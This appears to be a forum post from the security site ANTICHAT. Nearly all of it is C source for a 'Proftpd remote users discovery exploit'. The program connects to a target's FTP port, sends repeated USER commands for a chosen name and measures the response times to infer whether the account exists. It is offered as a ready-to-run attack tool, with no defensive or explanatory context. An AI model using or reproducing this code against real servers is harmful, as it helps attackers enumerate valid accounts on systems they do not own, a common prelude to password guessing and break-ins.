ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/time.h>

#define PORT  21
#define PROBE 8 

main (int argc, char **argv)
{
	int sock,n,y;
	long dist,stat=0;
	struct sockaddr_in sin;
	char buf[1024], buf2[1024];
	struct timeval tv, tv2;
	struct timezone tz, tz2;

	printf ("Proftpd remote users discovery exploit\n"
                "      Coded by Leon / LSS Security\n"
		">-------------------------------------<\n");

	if (argc != 3) { printf ("usage: %s <IP> <user>",argv[0]);  exit(0); }
	
	sock = socket (AF_INET, SOCK_STREAM, 0);
	sin.sin_family = AF_INET;
	sin.sin_port = htons (PORT);
	sin.sin_addr.s_addr = inet_addr (argv[1]);
	bzero (sin.sin_zero,8);

	connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));

	printf ("Login time: ");
	n = read (sock,buf2, sizeof(buf2));
	for (y=0;y<PROBE;y++) {	
		gettimeofday (&tv,&tz);
		snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]);
		write (sock, buf, strlen(buf));
		n = read (sock,buf2, sizeof(buf2));
		gettimeofday (&tv2,&tz2);
		dist =tv2.tv_usec - tv.tv_usec;
		stat += dist;
		printf (" %d |",dist);
	}
	printf ("\nAvrg: %d\n",(stat/PROBE));
	close (sock);
}